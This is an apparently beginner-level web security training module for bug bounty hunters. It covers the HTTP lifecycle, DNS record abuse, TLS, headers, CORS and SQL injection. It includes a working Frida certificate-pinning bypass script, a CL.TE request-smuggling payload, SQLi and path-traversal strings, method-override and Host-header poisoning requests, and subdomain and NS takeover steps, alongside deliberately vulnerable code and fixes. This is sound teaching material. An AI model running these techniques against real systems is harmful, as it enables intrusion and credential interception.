← Return to Ledger
MODULE_01 // THEORETICAL FOUNDATION

How the Web Works

Difficulty Beginner
Read time ~55 min
Labs 5 drills + 6 sims
0/5 complete

OPERATIONAL OBJECTIVE

Understand exactly what happens from the moment you type a URL to the instant a page renders. Every critical bypass, injection flaw, and logic vulnerability you will ever discover lives inside this transactional chain. This module builds the mental model that powers all future attack thinking.

The Chain of Events: Typing a URL #

When you type https://example.com/login and press Enter, the system executes a precise multi-layer sequence. Understanding this at a technical depth is non-negotiable — every attack class maps directly to one or more steps in this chain.

Full Request Lifecycle
01Browser Cache Check
02DNS Resolution
03TCP Handshake
04TLS Handshake
05HTTP Request ← YOU LIVE HERE
06Server Processing ← AND HERE
07HTTP Response
08DOM Render
  1. Browser Cache Check: Before any network activity, the browser checks its local in-RAM cache. If a valid entry for example.com exists and its TTL hasn't expired, the browser skips every network step below and connects instantly — under 1ms versus the 20–120ms a full lookup takes. Closing the browser wipes this cache clean since it lives in volatile memory, not a disk folder. You can inspect it live at chrome://net-internals/#dns.
  2. What is Browser Cache?
    The cache is a local storage closet where your browser saves static website files—like images, logos, HTML files, CSS stylesheets, and JavaScript files. When you visit a website for the first time, your browser has to download every single image and script. That takes time. The next time you visit, the browser thinks, "Hey, I already have that heavy logo saved in my cache," and loads it instantly from your hard drive instead of downloading it over the internet again. Why it matters for security: a Cache Poisoning attack happens when an attacker forces the server to send a malicious response, which then gets saved in this "storage closet." Every time a normal user visits the site, their browser grabs the malicious cached file, thinking it's legitimate.
  3. DNS Resolution: The browser queries the Domain Name System to convert example.com into a routable IP address (e.g., 93.184.216.34). See the DNS deep-dive below.
  4. TCP Three-Way Handshake: Client sends SYN → server responds SYN-ACK → client completes with ACK. This establishes a reliable transport channel on port 443.
  5. TLS Cryptographic Handshake: Both parties negotiate cipher suites, exchange certificates, and derive session keys. All subsequent data is encrypted in transit.
  6. HTTP Request Transmission: The browser structures a formatted HTTP payload and dispatches it over the encrypted socket.
  7. 🏗️ Structuring the Format (The HTTP Payload)
    Before sending anything, the browser has to write a "letter" the web server will understand. A standard HTTP payload has three sections:

    A. The Request Line — Method (GET/POST/DELETE...), Path (/api/login), and Version (HTTP/1.1).
    B. The Headers — key-value metadata: Host, User-Agent, Cookie, Accept-Language.
    C. The Body (optional) — empty on GET, populated on POST (e.g. login credentials).

    HTTP

    GET /profile HTTP/1.1
    Host: example.com
    User-Agent: Mozilla/5.0
    Cookie: session_id=xyz123
    Accept: text/html


    📨 Dispatch over the Encrypted Socket — the browser hands this plaintext letter down to the TLS layer on Port 443. TLS scrambles it into ciphertext, chops it into packets, and fires them at the target server, which decrypts using its matching key.

    🎯 Bug Bounty Relevance — this is where Burp Suite sits: intercepting the payload after the browser structures it, but before it's encrypted and dispatched. Tampering here is the bread and butter of hunting — IDOR via changed IDs, SQLi/XSS via body/header injection, Host header routing abuse.
  8. Application Processing: The server application (Node.js, Django, Laravel, etc.) parses the request, executes business logic, queries databases, and formulates a response.
  9. HTTP Response: The server returns status code, headers, and the response body.
  10. DOM Rendering: The browser parses HTML → builds DOM, parses CSS → builds CSSOM, executes JavaScript → may trigger more HTTP requests (sub-resources, APIs).

HUNTER'S RADAR

As a security analyst, you operate almost entirely inside Steps 5 and 6. This is where parameter mutation, header injection, cookie tampering, and business logic subversions are deployed. Steps 2 and 4 matter for subdomain takeover and certificate pinning bypass research.

DNS Resolution — Deep Dive #

DNS is the internet's phone book. It resolves human-readable domain names to machine-routable IP addresses. Understanding this process reveals multiple attack surfaces: DNS Hijacking, Subdomain Takeover, DNS Cache Poisoning.

Browser
Checks local DNS cache (RAM, not disk). If example.com → IP is cached and not expired → skip everything below. Instant, zero network traffic.
OS Resolver
Checks /etc/hosts (Linux/Mac) or C:\Windows\System32\drivers\etc\hosts (Windows). Attackers exploit this for local redirection.
Recursive Resolver
Your ISP or configured DNS server (e.g., 8.8.8.8 Google, 1.1.1.1 Cloudflare) receives the query and walks the DNS tree if not cached.
Root Nameserver
13 root nameserver clusters globally. Returns address of the TLD nameserver responsible for .com.
TLD Nameserver
Responsible for .com. Returns address of the Authoritative Nameserver for example.com.
Authoritative NS
Holds the actual zone file. Returns the A record (IPv4) or AAAA record (IPv6) → 93.184.216.34. Cached per TTL.

WHAT IF THE LOCAL CACHE ITSELF IS INFECTED?

Attackers can't poison your local DNS cache remotely over the internet — they need some foothold on your machine first, via malware injecting fake mappings, or by editing your hosts file directly with admin privileges. Once infected, your browser fully trusts the fake entry and silently routes you to an attacker IP whenever you type that domain.

Your last line of defense: TLS. The attacker can clone the look of your bank's site, but they cannot steal your bank's real certificate. When your browser connects to the fake server, the certificate check fails and you get a hard warning. The catch: on plain http:// sites there's no certificate to check at all — the fake site loads seamlessly and anything you type goes straight to the attacker.

Fix: ipconfig /flushdns (Windows) or sudo dscacheutil -flushcache; sudo killall -HUP mDNSResponder (Mac) clears the poisoned cache. Then manually check your hosts file for unrecognized entries — flushing the cache alone won't fix a tampered hosts file, since the OS just re-reads the bad file again.

Key DNS Record Types — Full Exploit Breakdown

Click each record type to expand the full attacker methodology.

A maps a domain to an IPv4 address. AAAA maps it to an IPv6 address. Both are the primary target for DNS hijacking and cache poisoning — changing them redirects all web and application traffic entirely.

The real-world exploit: security teams meticulously lock down firewall rules for 0.0.0.0/0 (all IPv4) but routinely forget to mirror those same rules for ::/0 (all IPv6), because IPv6 addresses are long hex strings that are easy to overlook when writing cloud security-group scripts.

If a target's WAF only inspects the IPv4 pipe, an attacker forces their tool to connect over IPv6 instead of letting DNS resolve normally:

Bashcurl -6 https://target.com/vulnerable-endpoint?id=1' UNION SELECT...

The -6 flag makes the client grab the AAAA record and open the connection over the IPv6 route. Because the WAF was never mirrored onto that pathway, the payload lands directly on the backend, completely untouched.

A CNAME points a subdomain to another domain name entirely — companies use it to outsource hosting to GitHub Pages, S3, Shopify, Zendesk, etc.

Phase 1 — Normal ops: blog.target.com → CNAME → targetcorp-blog.github.io.

Phase 2 — The mistake: the team deletes the GitHub Pages project but forgets to delete the DNS record. The CNAME is now "dangling" — it still points to a domain name nobody owns, and GitHub serves a 404.

Phase 3 — The takeover: the attacker registers a fresh GitHub account, claims the exact same repo slug (targetcorp-blog), and uploads a phishing page. Traffic to blog.target.com now flows straight to the attacker — complete with a valid, trusted padlock icon (GitHub issues the cert dynamically) and the ability to steal any cookies scoped to target.com.

MX records declare which servers accept inbound mail for a domain, ranked by priority (lower number = higher priority). Attackers don't need to touch the MX record to spoof an email — SMTP has no built-in sender authentication, so a rogue server can simply claim MAIL FROM: ceo@target.com directly to the victim's mail server.

The real exploit angle: larger orgs list a fast, well-monitored primary MX (priority 10) and a forgotten legacy backup MX (priority 50). Attackers deliberately target the low-priority backup, since it's frequently unmonitored and skips modern SPF/DMARC checks entirely — letting spoofed mail slide straight into the inbox.

Defense stack: SPF (authorized sending IPs), DKIM (cryptographic signature), DMARC (policy for what to do on failure — p=reject is strict, ~all is a permissive soft-fail attackers love).

TXT records are free-form text, mostly used today for domain-ownership verification by SaaS vendors. Organizations almost never clean them up after verifying, so a single dig target.com TXT query hands an attacker a complete map of the internal toolchain — zero packets sent to the target's actual servers.

dig outputgoogle-site-verification=AbC123...   → runs Google Workspace
MS=ms98765432                        → also runs Microsoft/Azure
atlassian-domain-verification=...    → runs Jira/Confluence internally
loaderio-ca631241bb022...            → uses a stress-testing tool (QA team exists)

SPF records (also TXT) leak even more: include:servers.mcsv.net tells the attacker marketing uses Mailchimp (a phishing angle), include:mail.zendesk.com reveals the support desk platform, and any bare ip4: entry exposes a real corporate IP.

NS records delegate an entire zone to a specific DNS provider. If a company points its NS records at a third-party provider (DigitalOcean, Route 53, Cloudflare) and later deletes the underlying account there — without resetting the NS records at the registrar — the domain becomes completely orphaned.

An attacker runs dig fintechx.com NS, sees it points to DigitalOcean, then queries DigitalOcean directly and gets a REFUSED/SERVFAIL. That's the signal: nobody currently claims this domain on that provider. The attacker creates a free account, adds the domain, and DigitalOcean's shared infrastructure hands over full control — because traffic is already routing there.

This is the single most catastrophic DNS exploit: the attacker can now write any A, MX, or TXT record they want. They hijack email (including password resets for the company's AWS/Slack/GitHub accounts) and can even complete Let's Encrypt DNS-01 challenges to mint fully legitimate SSL certificates for the stolen domain.

A PTR record is the mirror of an A record: IP → hostname, living in the special in-addr.arpa zone. Attackers use PTR sweeps to turn a "blind" IP range into a labeled map of internal infrastructure — without ever sending a packet to the target's own servers (they're only querying the upstream ISP/registry), which means it's completely invisible to the target's IDS.

Bashdig -x 198.51.100.12   → mail.targetcompany.com
dig -x 198.51.100.45   → vpn-gateway.targetcompany.com
dig -x 198.51.100.99   → stage-db01.internal.targetcompany.com

Descriptive naming conventions (lon-fw-01, dev-sandbox-3) also leak geography and trust-zone boundaries — telling an attacker who has already gained a small foothold exactly which direction to pivot toward production.

MODERN DNS PROTECTIONS

DNSSEC adds cryptographic signatures to DNS records so a resolver can verify a response truly came from the authentic authoritative server and wasn't altered in transit.

DoH / DoT (DNS over HTTPS / TLS) encrypt the query itself, so nobody on your local network or ISP can eavesdrop on what domains you're resolving.

TCP Handshake & TLS Encryption #

Before any HTTP data is exchanged, the transport layer must be established. For HTTPS, this is a two-part process: TCP establishes the connection, TLS secures it.

TCP Three-Way Handshake

TCP Handshake DiagramClient                        Server
  |                              |
  |──── SYN (seq=x) ────────────>|   "I want to connect, starting my counter at x"
  |                              |
  |<─── SYN-ACK (seq=y,ack=x+1)─|   "Got it, expect x+1 next. My counter starts at y"
  |                              |
  |──── ACK (ack=y+1) ──────────>|   "Confirmed. We are synchronized."
  |                              |
  |    [Connection Established]  |

THE HUNTER'S TARGET: SYN FLOOD

Attackers exploit this exact three-step handshake. In a SYN Flood, a rogue machine fires thousands of SYN packets using spoofed, unreachable source IPs. The server dutifully replies with SYN-ACK and allocates memory for each "half-open" connection while it waits for a final ACK that will never come. Memory fills up until the server crashes.

TLS 1.3 Handshake (Modern Standard)

→ ClientHello
Client sends: supported TLS versions, cipher suites, a random nonce, and a key_share (its half of a Diffie-Hellman public key exchange). TLS 1.3 does this in one round trip.
← ServerHello
Server responds: chosen cipher suite, its own key_share, and its certificate — signed by a trusted Certificate Authority.
← {Certificate} [Encrypted]
Client validates: signed by a trusted CA? Hostname match? Expired? Revoked (OCSP)?
← {Finished} [Encrypted]
Both sides independently derive the identical session key via Diffie-Hellman math — the key itself never crosses the wire.
→ {Finished} [Encrypted]
Client confirms. All application data (your HTTP request) is now encrypted with AES-256-GCM or ChaCha20-Poly1305.

WHY THIS MATTERS FOR HUNTERS

Certificate validation failures are real vulnerabilities. Apps that accept any certificate (common in rushed mobile builds) are wide open to man-in-the-middle attacks.

Vulnerable Code: Trusting Everyone

Developers sometimes disable certificate validation to make local testing against a self-signed staging server easier — and forget to remove it before shipping to production.

Java — VulnerableNetworkClient.javaTrustManager[] trustAllCerts = new TrustManager[] {
    new X509TrustManager() {
        public X509Certificate[] getAcceptedIssuers() { return new X509Certificate[0]; }
        public void checkClientTrusted(X509Certificate[] certs, String authType) {
            // ❌ EMPTY — accepts any client certificate
        }
        public void checkServerTrusted(X509Certificate[] certs, String authType) {
            // ❌ EMPTY — accepts ANY server certificate, no verification at all
        }
    }
};
SSLContext sc = SSLContext.getInstance("TLS");
sc.init(null, trustAllCerts, new java.security.SecureRandom());
HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());

A hunter on the same Wi-Fi network sets up a rogue hotspot, routes the victim's traffic through Burp Suite, and presents a self-signed fake certificate for api.mybank.com. Because checkServerTrusted does nothing, the app accepts it instantly, encrypts the user's password with the attacker's public key, and hands it straight over.

The Fix: Certificate Pinning

Java — Remediated Checkpublic void checkServerTrusted(X509Certificate[] certs, String authType) throws CertificateException {
    certs[0].checkValidity();
    String expectedPin = "sha256/7iv9aeFA7...[Expected-PublicKey-Hash]";
    String actualPin = getFingerprint(certs[0]);
    if (!actualPin.equals(expectedPin)) {
        throw new CertificateException("CRITICAL: pin mismatch — MITM detected!");
    }
}

Bypassing Pinning With Frida

If an app pins correctly, Burp Suite goes silent — the app refuses the proxy's fake cert. Hunters don't rewrite the app on disk (it's cryptographically signed); instead they hook the running process in RAM using Frida, a dynamic instrumentation toolkit, and force the validation function to lie.

JavaScript — bypass-pinning.jsJava.perform(function () {
    var TrustManagerImpl = Java.use('com.android.org.conscrypt.TrustManagerImpl');
    TrustManagerImpl.checkServerTrusted.implementation = function (chain, authType, host) {
        console.log("[+] Bypassing pin check for: " + host);
        return java.util.ArrayList.$new();   // pretend the check passed
    };

    var CertificatePinner = Java.use('okhttp3.CertificatePinner');
    CertificatePinner.check.overload('java.lang.String','java.util.List').implementation = function (hostname, certs) {
        console.log("[+] Skipping OkHttp3 pinning for: " + hostname);
        return; // void return = "check passed"
    };
});
Bash — Executing the bypassadb shell "su -c /data/local/tmp/frida-server &"
frida -U -f com.targetbank.app -l bypass-pinning.js --no-pause

The moment the app spawns, Frida hot-swaps the compiled validation functions in memory before the app's own code ever runs. Burp's fake certificate sails through, and decrypted API traffic streams straight into the proxy window.

THE COUNTER-MOVE: ANTI-FRIDA CHECKS

High-security apps fight back by scanning for Frida's signature at startup — checking for its default network port (27042), scanning /proc/self/maps for the strings frida or gadget.so, or measuring function-call timing for injected delays. If detected, the app kills its own process — forcing the hunter to defeat the anti-Frida layer before they can even reach the pinning code.

HTTP vs HTTPS #

HTTP — Cleartext
  • Data transmitted in plain text
  • Anyone on the network can read it (packet sniffing)
  • No identity verification of server
  • Session cookies exposed to MITM
  • Susceptible to content injection by ISPs, attackers
  • Port 80 by default
HTTPS — Encrypted
  • Data encrypted via TLS (in transit)
  • Server identity verified via certificate chain
  • Cookies marked Secure cannot be sent over HTTP
  • HSTS header enforces HTTPS-only access
  • Still visible: domain name (via SNI), timing, packet sizes
  • Port 443 by default

CRITICAL MISCONCEPTION

HTTPS does not mean a site is "safe" or "legitimate." It only means the connection is encrypted. A phishing site on a valid domain with a real TLS certificate is fully HTTPS. As a hunter, you care about what happens inside the encrypted channel — that's where all the bugs live: SQLi, IDOR, and phishing all ride comfortably inside a padlocked connection.

SSL Stripping — The Invisible Downgrade

Most people type amazon.com, not https://amazon.com. That first plaintext request is the attacker's opening. Using sslstrip as a man-in-the-middle, an attacker fetches the real page over HTTPS on the victim's behalf, then rewrites every https:// link in the response to http:// before forwarding it — the page loads perfectly, just missing the padlock.

The downgrade chain[ Victim ] <── Plaintext HTTP ──> [ Attacker (sslstrip) ] <── Encrypted HTTPS ──> [ Real Server ]
   (No lock icon, page loads fine)      (reads everything in RAM)              (thinks all is normal)

Whatever the victim types — including a password — travels in raw plaintext straight into the attacker's proxy before being quietly forwarded on to the real server.

HSTS — The Kryptonite

Strict-Transport-Security: max-age=31536000; includeSubDomains; preload tells the browser: for the next year, never speak plain HTTP to this domain — silently rewrite the request to HTTPS before it ever leaves the device. Because the request is encrypted before it hits the network, the attacker on the Wi-Fi can't read it, modify it, or strip it.

The one gap: Trust On First Use. A brand-new device visiting a site for the very first time doesn't know the HSTS policy yet — if the attacker intercepts that first connection, they can strip the header before it's ever cached. The fix: browser vendors hardcode an HSTS Preload List directly into the browser binary for major domains, so the policy applies from the very first request, forever.

SIMULATOR — SSL Stripping vs. HSTS

You're Sarah, sitting on airport Wi-Fi. An attacker (Ethan) controls the network. Toggle HSTS and watch whether typing shopquick.com (no https://) survives the trip.

Waiting for input…

Common Ports Reference #

Ports are logical endpoints on a host. A server can run multiple services on one IP by using different ports. During recon, an open port is a potential attack surface. Know these by heart.

80HTTPCleartext web traffic. Often redirects to 443. Check for HSTS missing.
443HTTPSEncrypted web traffic. Primary target for web hunters.
8080HTTP AltDev/staging/admin dashboards. Frequently missing auth entirely.
8443HTTPS AltAlternate HTTPS. Admin panels, staging environments.
22SSHExposed SSH is a finding if default creds or weak keys exist.
21FTPCleartext. Anonymous login is often a critical finding.
3306MySQLDatabase exposed to internet = critical. Should never be public.
27017MongoDBUnauthenticated instances caused ransomware waves historically.
6379RedisUnauthenticated Redis = session dump, sometimes RCE via file write.
9200ElasticsearchExposed /_cat/indices often leaks millions of PII rows.
25 / 587SMTPOpen relay = spam sent under the company's clean IP reputation.
53DNSMisconfigured AXFR zone transfer leaks every subdomain instantly.

THE ZONE TRANSFER GOLDMINE

An AXFR request is only supposed to replicate records between official backup nameservers. If left open to the public:

Bashdig axfr @vulnerable-nameserver.com target.com

...dumps the entire zone file to the hunter's screen: every hidden subdomain, staging server, and TXT record the company owns, in one shot.

Deconstructing the HTTP Request #

Every outbound request intercepted inside a proxy follows this precise architectural template. You need to be able to read and modify every line fluently. It's structured plaintext divided into three zones: the Request Line, the Headers, and — after one mandatory blank line — the Body.

Raw HTTP Request — AnnotatedPOST /api/v1/login HTTP/1.1                  ← [1] Method + Path + Version
Host: app.example.com                        ← [2] Target virtual host
User-Agent: Mozilla/5.0 (Windows NT 10.0)   ← [3] Client identification
Accept: application/json                     ← [4] Expected response format
Content-Type: application/json               ← [5] Body format declaration
Content-Length: 47                           ← [6] Body size in bytes
Authorization: Bearer eyJhbGc...            ← [7] Auth token (JWT here)
Cookie: session=abc123; csrftoken=xyz        ← [8] State / CSRF tokens
X-Forwarded-For: 127.0.0.1                  ← [9] Custom header (often trusted blindly)
Connection: keep-alive                       ← [10] Persistent connection
                                             ← [11] Blank line separates headers/body
{"username":"admin","password":"secret"}     ← [12] Request body (POST data)

Request Header Deep Reference

HeaderPurposeAttack / Bypass Potential
HostSpecifies target virtual hostHigh Host Header Injection → password reset poisoning, cache poisoning
User-AgentClient software identificationWAF bypass by spoofing known bot scanners or older browsers
RefererWhich page triggered the requestAccess control relying solely on Referer is bypassable by removing/changing it
X-Forwarded-ForClient IP in proxy chainsHigh IP allowlist bypass by spoofing 127.0.0.1 or internal ranges
OriginSource origin of the requestCORS misconfiguration → cross-origin data theft
AuthorizationCarries auth credentials / tokensJWT algorithm confusion, token leakage via Referer, weak secrets
Content-TypeDeclares body formatSwitching JSON ↔ form-urlencoded can bypass WAF rules or CSRF protections
CookieSession identifiers, stateSession hijacking, CSRF, cookie scope escalation
Accept-LanguagePreferred response languageParameter pollution; language-specific logic paths with fewer controls

Host Header Injection — Password Reset Poisoning

If a developer builds absolute links dynamically from the client-supplied Host header instead of a hardcoded config value, the reset-link generator becomes attacker-controlled:

Vulnerable backend logicString domain = request.getHeader("Host");
String resetLink = "https://" + domain + "/reset?token=" + generatedToken;
sendEmail(user.getEmail(), resetLink);

Change Host: app.secureapp.com to Host: attacker-controlled-server.com, trigger a password reset for the victim's email, and the real, legitimate mail system ships a perfectly valid token — pointed at the attacker's server. When the victim clicks it, the token lands in the attacker's access logs. Try it below.

SIMULATOR — Host Header Injection

Trigger a password reset for victim@secureapp.com. Edit the Host header in the request below, then forward it.

POST /api/v1/auth/password-reset HTTP/1.1
Host: 
Content-Type: application/json

{"email": "victim@secureapp.com"}
Waiting for input…

HTTP Methods & Attack Vectors #

Methods declare what action is being requested on a target resource. Servers frequently misconfigure access control validation on non-standard methods.

MethodStandard FunctionSecurity ImplicationNotes
GETFetch a resource. Should be read-only.Parameters exposed in URL → logged everywhereNever use for state changes
POSTSubmit data. Triggers state changes.Primary vector for injection, CSRF, mass assignmentBody not logged by default
PUTCreate or fully replace a resource.Critical Unauthenticated PUT → arbitrary file upload, RCECheck with OPTIONS if allowed
PATCHPartially update a resource.Mass assignment → injecting fields like role, isAdminTest sending unexpected fields
DELETERemove a resource.IDOR → deleting other users' resourcesShould require auth + ownership check
OPTIONSQuery allowed methods.Reveals attack surface; CORS preflight misconfigFirst recon step on new endpoints
HEADLike GET, headers only.Fingerprint server, check existence, stay quietUseful for stealthy recon
TRACEDebug — echoes request back.Medium XST can expose HttpOnly cookiesShould always be disabled

HTTP Method Override — Tunneling Past the Firewall

Firewalls often block dangerous verbs like PUT/DELETE at the perimeter. Frameworks (Rails, Symfony, ASP.NET) built a legitimate workaround for restrictive environments — reading a hidden method override signal inside an innocent POST:

Via headerPOST /api/users/15 HTTP/1.1
X-HTTP-Method-Override: DELETE
Via body paramPOST /api/users/15 HTTP/1.1
Content-Type: application/x-www-form-urlencoded

_method=DELETE

The firewall reads the outer POST, decides it's safe, and lets it through. The backend framework reads the override header, silently converts it to DELETE internally, and executes the dangerous action — often with zero authorization check, because the dev team assumed the perimeter had already filtered that verb out. Try triggering this below against a mock admin asset endpoint.

SIMULATOR — HTTP Method Override Bypass

Target: DELETE /api/v1/assets/99 is firewall-blocked for your low-privilege token. Pick your approach.

Waiting for input…

Deconstructing the HTTP Response #

The server's answer carries both metadata (headers) and content (body). The headers are often more interesting than the body from a security perspective — they're a live telemetry report on the app's defensive posture.

Raw HTTP Response — AnnotatedHTTP/1.1 200 OK                                        ← [1] Version + Status
Date: Mon, 01 Jan 2025 12:00:00 GMT                    ← [2] Server timestamp
Server: nginx/1.18.0                                   ← [3] ⚠ Version disclosure
Content-Type: application/json; charset=UTF-8          ← [4] Body content type
Content-Length: 312                                    ← [5] Body size
Set-Cookie: session=abc123; Secure; HttpOnly; SameSite=Strict   ← [6] Cookie flags
X-Content-Type-Options: nosniff                        ← [7] MIME sniff protection
X-Frame-Options: DENY                                  ← [8] Clickjacking protection
Content-Security-Policy: default-src 'self'            ← [9] XSS mitigation header
Strict-Transport-Security: max-age=31536000            ← [10] HSTS — forces HTTPS
Access-Control-Allow-Origin: https://trusted.com       ← [11] CORS policy
X-Powered-By: PHP/7.4.3                                ← [12] ⚠ Tech stack leak

{"status":"ok","user":{"id":42,"role":"user"}}         ← [13] Response body

Server / X-Powered-By / Set-Cookie — Unintentional Fingerprinting

Server: Apache/2.4.41 (Ubuntu) and X-Powered-By: PHP/7.4.3 hand an attacker the exact OS distro, web server, and language runtime — enough to pull matching CVEs straight off Exploit-DB instead of guessing. Cookie names leak the framework too: PHPSESSID → raw PHP, JSESSIONID → Java/Tomcat, connect.sid → Node/Express, csrftoken/django_language → Django. Each framework has its own known quirks a hunter will pivot toward.

Security Headers — What Missing Ones Expose

HeaderWhen PresentWhen Missing — Finding?
Content-Security-PolicyAllowlists which scripts/resources can load. Mitigates XSS.Medium Full XSS impact unmitigated
X-Frame-OptionsPrevents embedding in iframes.Medium Clickjacking possible on sensitive actions
Strict-Transport-SecurityForces HTTPS for a set duration.Low SSL stripping possible on first visit
X-Content-Type-Options: nosniffPrevents MIME-type sniffing.Low Browser may execute uploaded files as scripts
Set-Cookie: HttpOnlyCookie inaccessible to JavaScript.High XSS can steal session cookies
Set-Cookie: SecureCookie only sent over HTTPS.Medium Cookie leaks over any HTTP fallback
Set-Cookie: SameSiteControls cross-site cookie sending.Medium CSRF becomes viable
Server / X-Powered-ByInfo Version disclosure aids exploit selection

CLICKJACKING — WHEN X-FRAME-OPTIONS IS MISSING

An attacker embeds your bank's real transfer page in an invisible <iframe>, stacks it exactly over a fake "Claim your free iPad!" button on their own site. The victim's click passes through the transparent layer and lands on the hidden, authenticated transfer button underneath — authorizing a transaction they never saw.

CORS — Access-Control-Allow-Origin

By default the browser's Same-Origin Policy blocks a script on evil.com from reading data out of bank.com. Access-Control-Allow-Origin is the official exception mechanism — and it's frequently misconfigured two dangerous ways: a bare wildcard * (anyone can read this endpoint), or worse, a script that dynamically reflects whatever Origin header the request sent, paired with Access-Control-Allow-Credentials: true — which means literally any external site can make an authenticated, cookie-carrying request and read the private response. Full walkthrough — and a live simulator — is in the CORS section further down.

Critical Status Codes Matrix #

CodeMeaningHunter Significance
200 OKSuccess.Compare response body/length for blind injection signals.
201 CreatedResource was created.Check if unauthorized users can trigger this.
204 No ContentSuccess, no body.Common on DELETE. A 204 without auth = IDOR.
301 / 302Redirect.Location header can leak internal paths. Open redirect hunting.
400 Bad RequestMalformed input.Backend parse error triggered — probe for injection vectors.
401 UnauthorizedAuth required.Baseline for auth bypass testing.
403 ForbiddenAuthenticated, but denied.Resource exists. Try path tricks, method switch, X-Original-URL.
404 Not FoundResource not found.Fuzz for adjacent paths.
405 Method Not AllowedMethod not supported.Check Allow: header for what IS allowed.
429 Too Many RequestsRate limit triggered.Test bypasses: IP rotation, header manipulation.
500 Internal Server ErrorApplication threw an exception.Your input broke backend logic. High-probability injection surface.
502 Bad GatewayUpstream server failed.Infrastructure misconfiguration exposed.
503 Service UnavailableServer overloaded or down.DoS vector confirmed if triggered by your input.

THE 403 ≠ BLOCKED RULE

A 403 Forbidden confirms the resource exists and the server made an authorization decision — it's a starting point, not a dead end. This usually happens because a Reverse Proxy checks the path string, while the backend app server interprets the same string differently.

SIMULATOR — 403 Bypass Fuzzer

Target path /admin returns 403 Forbidden for your account. Try a bypass technique against the reverse proxy.

Waiting for input…

Anatomy of a URL Target #

Every URL component is a potential attack surface.

https://app.example.com:8443/api/v1/user/profile?id=42&view=full&format=json#settings
Schemehttps://
Subdomainapp.
Domainexample.com
Port:8443
Path/api/v1/user/profile
Query Params?id=42&view=full&format=json
Fragment#settings
ComponentAttack Surface
SchemeSSRF payloads swap in file://, gopher://, dict:// to read local files or speak raw TCP to internal services.
SubdomainEnumeration surface — weaker staging/dev code, takeover targets.
PathPath traversal (../../etc/passwd), path confusion, IDOR via embedded IDs.
Query ParamsPrimary injection point. SQLi, XSS, SSRF, IDOR, open redirect, template injection.
FragmentNever sent to the server — client-side only. Primary feeding ground for DOM-based XSS.

HTTP Versions — What Changed #

VersionKey CharacteristicsSecurity Notes
HTTP/1.0One request per TCP connection.Largely obsolete. Downgrade attacks may force it.
HTTP/1.1Persistent connections, chunked transfer, virtual hosting.Request Smuggling works here.
HTTP/2Binary framing, multiplexing, HPACK header compression.High H2-to-H1 downgrade smuggling.
HTTP/3Built on QUIC (UDP). Eliminates TCP head-of-line blocking.Emerging surface, more permissive UDP firewalls.

HTTP REQUEST SMUGGLING — THE CL.TE MISMATCH

When a fast frontend proxy (HTTP/2) translates down to an older backend (HTTP/1.1), both sides must agree on where the request body ends — via Content-Length or Transfer-Encoding: chunked. Send both, tuned so each server reads a different one, and they disagree on the boundary:

POST / HTTP/1.1
Content-Length: 6
Transfer-Encoding: chunked

0

SMUGGLED

The frontend counts 6 bytes (via Content-Length) and forwards the whole block as "one clean request." The backend reads Transfer-Encoding instead, stops parsing at the 0 chunk terminator, and leaves SMUGGLED floating orphaned in its buffer. The next real user's innocent GET /index.html gets glued right onto that leftover fragment — poisoning their session with the attacker's payload.

How the Browser Renders a Page #

  1. Parse HTML → Build DOM: a <script> with no defer/async blocks parsing and executes immediately.
  2. Parse CSS → Build CSSOM: where CSS-injection data-exfiltration attacks live.
  3. Execute JavaScript: can modify the DOM, read non-HttpOnly cookies, fetch APIs, redirect — the primary XSS execution environment.
  4. Sub-resource Requests: images, scripts, fonts, API calls — each a fresh attack surface.
  5. Render Tree + Paint: CSS injection can overlay UI elements for phishing/clickjacking.

SOURCE → SINK MODEL

Data flows from a source (attacker-controlled: location.hash, location.search, document.referrer, postMessage) to a sink (dangerous function: innerHTML, eval(), document.write()). Reach a sink unsanitized and you have DOM XSS. Unlike stored/reflected XSS, the payload never touches the server — it stays entirely inside location.hash, which browsers never transmit over the network.

Think of it like a plumbing system: the Source is the water intake where outside water enters (the URL). The Sink is the faucet where it's discharged into the house (the render). Pollute the intake, skip filtering, and the contaminated water sprays straight out the faucet.

SIMULATOR — DOM-Based XSS: Source → Sink

This mimics a vulnerable app: document.getElementById('msg').innerHTML = location.hash.slice(1). Type into the URL fragment field below and watch what actually renders in the sink.

https://quicknote.com/dashboard#
RENDERED SINK OUTPUT
Type or pick a payload above.

Same-Origin Policy & CORS #

The Same-Origin Policy (SOP) is the browser's primary isolation mechanism — the strict landlord who forbids a resident from throwing their keys out the window to strangers on the street.

DEFINITION: SAME ORIGIN

Two URLs are the same origin if and only if they share the same: scheme + hostname + port.

URL AURL BSame Origin?Reason
https://example.com/ahttps://example.com/b✓ YESSame scheme, host, port
https://example.comhttp://example.com✗ NODifferent scheme
https://example.comhttps://sub.example.com✗ NODifferent hostname
https://example.comhttps://example.com:8443✗ NODifferent port

CORS is the official exception mechanism that selectively lowers SOP. A guest-list protocol: "my brother across town is allowed to read my mail." Misconfigured CORS is a high-severity finding — especially the reflected origin pattern, where the backend copies whatever Origin header a request sends straight back into Access-Control-Allow-Origin, paired with Access-Control-Allow-Credentials: true. That combination means literally any external site can fire an authenticated, cookie-carrying request and read the private JSON response — a victim just has to load the attacker's page in another tab while logged in.

SIMULATOR — CORS Misconfiguration

You're logged into healthhub.com in one tab. A malicious site free-movies-hd.com silently fetches api.healthhub.com/user/medical-history with your cookies attached. Configure the API's CORS policy and see what the malicious page's script can read.

Waiting for input…

SQL Injection — The 500 Error Matrix #

Think of a database backend as an ultra-fast automated filing clerk. It takes orders from the app as text notes (queries). If a developer glues raw user input directly into that note instead of treating it as sandboxed data, an attacker can write a "command code" — a single quote — that hijacks the clerk's instructions entirely.

The vulnerable backend for our target, LogisticsPro, builds its query like this:

Vulnerable Java — string concatenationString query = "SELECT * FROM orders WHERE shipment_id = '" + userInput + "'";
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(query);

The single quote (') is the database's boundary marker for where a text string starts and ends. Break that boundary, and you're no longer sending data — you're sending code.

LAB — Live SQL Injection Console

Endpoint: GET /api/v1/shipments?id= — type into the id parameter below and watch exactly how the raw query is assembled, and how the database engine reacts.

?id=
ASSEMBLED SQL QUERY

      
Waiting for input…

READING THE SIGNAL

200 OK with the normal record → your input was harmless text. 500 Internal Server Error → you broke the SQL syntax; the engine is confused, meaning the parser is definitely concatenating your raw string. 200 OK again after adding OR '1'='1 or a comment terminator (--) → you "healed" the syntax while injecting a permanently-true condition, and the database just handed you every row in the table.

THE FIX: PARAMETERIZED QUERIES

PreparedStatement stmt = connection.prepareStatement(
    "SELECT * FROM orders WHERE shipment_id = ?"
);
